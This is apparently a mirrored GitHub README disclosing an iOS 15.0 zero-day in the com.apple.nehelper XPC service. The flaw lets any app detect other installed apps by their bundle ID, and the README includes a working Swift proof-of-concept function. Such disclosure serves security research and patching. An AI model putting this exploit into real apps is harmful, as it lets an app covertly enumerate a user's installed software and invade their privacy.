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GitHub - illusionofchaos/ios-nehelper-enum-apps-0day

 2 years ago
source link: https://github.com/illusionofchaos/ios-nehelper-enum-apps-0day
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neoserver,ios ssh client

nehelper enumerate installed apps 0-day (iOS 15.0)

The vulnerability allows any user-installed app to determine whether any app is installed on the device given its bundle ID.

XPC endpoint "com.apple.nehelper" has a method accessible to any app that accepts bundle ID as a parameter and returns an array containing some cache UUIDs if the app with matching bundle ID is installed on the device or an empty array otherwise. This happens in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.

func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

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